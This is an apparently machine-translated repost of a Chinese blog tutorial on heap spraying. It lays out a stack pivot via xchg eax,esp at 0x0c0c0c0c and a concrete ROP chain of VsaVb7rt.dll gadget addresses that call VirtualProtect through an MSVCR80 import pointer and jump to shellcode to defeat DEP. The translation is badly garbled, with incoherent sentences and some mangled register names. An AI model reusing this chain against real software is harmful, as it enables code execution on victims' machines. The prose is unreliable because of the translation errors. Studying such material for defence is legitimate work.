ヒープスプレーイラスト

私に交換を修正してください適切な場所がない、ソースを明記してください。--- leibso

   為替QQ:1032633253

 図1は、以下に詳細に示します

  私はここにROPを構築しますが、それは慎重に構築されていますが、完全に、私はあまりにも大きいが、無害な設定RETの間の間隔をテストするために、スペースを圧縮することができます。

2概要:

1.実行フロースタックを変更

   ESP XCHG eaxに、; ESIをポップ; RET;ここでEAXが0x0c0c0c0cあるので、私は、この文を選んだ、とEAXの位置は、スタックアドレスを入れて(持っていると便利が実行フローに変更することはできません)、アドレスポイントはできませんコマンド(意味のない)として、今回はエラー保護のプロパティを変更していません。だから私は、ポップスタックの変更後にスタック0x0c0c0c0c位置のトップを選びました。0x0c0c0c10に実行制御。0x0c0c0c10前回の実行フローを使用していない。この時間は、私たちはここに私たちが望むRET命令をカスタマイズすることができます。

  

0x0c0c0cOc // 0x0c0c0c20 
0x0c0c0c10 // 0x5e3229ed // 追加ESP、0x10の:ポップesiret
// *** 0x0c0c0c20 // 0x5e3229ed // 追加ESP、0x10の:ポップsiret
// ***
0x0c0c0c34 // 0x5e3229f0 // ポップESI; RET ; 0x0c0c0c38 // 0x5e28f190 // XCHG eaxesp:ポップesiret:

 分析:これは主に、ハンドオーバ実行フロースタックを実現するために、ROPをカスタマイズするために、流れの一部の機能に基づいて行われます。私は、この脆弱性が利用されている2つのコールのEXPオンラインとの間の関係は、その後、私は唯一の呼び出しそれを使用できることを考えましたか?私はすぐに実践的なテスト、確かに。だから私は、私は申し訳ありません、私の愛の亀裂直接アサーションが動作しません見ました。ハンズオンハンズああを取得する時間。

2.スタック空間の保護属性を変更します。

  

    0x5e329d12// POP EBP // DIRは[VsaVb7rt.dll] 
      0x5e329d12//は4バイト[VsaVb7rt.dll】スキップ
      0x5e28f7a4// POP EBX // DIR [VsaVb7rt.dll] 
      0x00000201// 0x00000201-> EBX 
      0x5e292c9d// POP EBX // DIR [VsaVb7rt.dll] 
      0x00000040// 0x00000040-> EDX 
      0x5e34b61c// XOR EDX、EDX // DIRは[VsaVb7rt.dll] 
      0x5e34b5ee// EDX、EBXを追加します// POP EBX // DIRの0x10は[VsaVb7rt.dll] 
      0x41414141// フィラー(補償)
      0x5e26098b// POP ECX // DIR [VsaVb7rt.dll] 
      0x41414141// フィラー(DIRオフセット補償)
      0x41414141// フィラー(DIRオフセット補償)
      0x41414141// フィラー(DIRオフセット補償)
      0x41414141// フィラー(DIRオフセット補償)
      0x5e357285// &書き込み可能な場所【VsaVb7rt.dll] --------这里是用来保存的OldProtect 
      0x5e25e6cc// POPのEDI // DIR [VsaVb7rt.dll] 
      0x5e267102// DIR(ROP NOP)VsaVb7rt.dll] 
      0x5e25b1f6// POP ESI // DIR [VsaVb7rt.dll] 
      0x5e23aa93// JMP [EAX] [ VsaVb7rt.dll] 
      0x5e290c74// POP EAX // DIR [VsaVb7rt.dll] 
      0x74614224// ptrは2&プロテクトバーチャル()(ポインタが信頼性があるかどうかを確認、モジュールKriterietをスキップ!)[IAT MSVCR80.DLL] 
      0x5e351384// PUSHAD // DIR [VsaVb7rt.dll] 
      0x5e287050// ptrは'JMP ESP' [VsaVb7rt.dll]へ

  説明:ここでROP鎖、多くの初心者はよく理解されないことが、実際には、これは注文pushad圧レジスタ(EAX、ECX、EDX、EBX、ESP、EBP、ESI、EDI)であり、それぞれが目覚め構成レジスタデータは、その後、pushadにより、JMP ESP踏み台を通じて、この時間は、この構造はちょうどROPを実行することができるようになりますスタックにデータを注文したいです。ここでは、スタックを構築することができvirtualprotect必要性を実行します。興味のある友人は、あなたが手で書かれたことができ、ここでスタックの特定のレイアウト構造の一部を、この理解ROPチェーンを深めること。

おすすめ

転載: www.cnblogs.com/leibso-cy/p/HeapSpray.html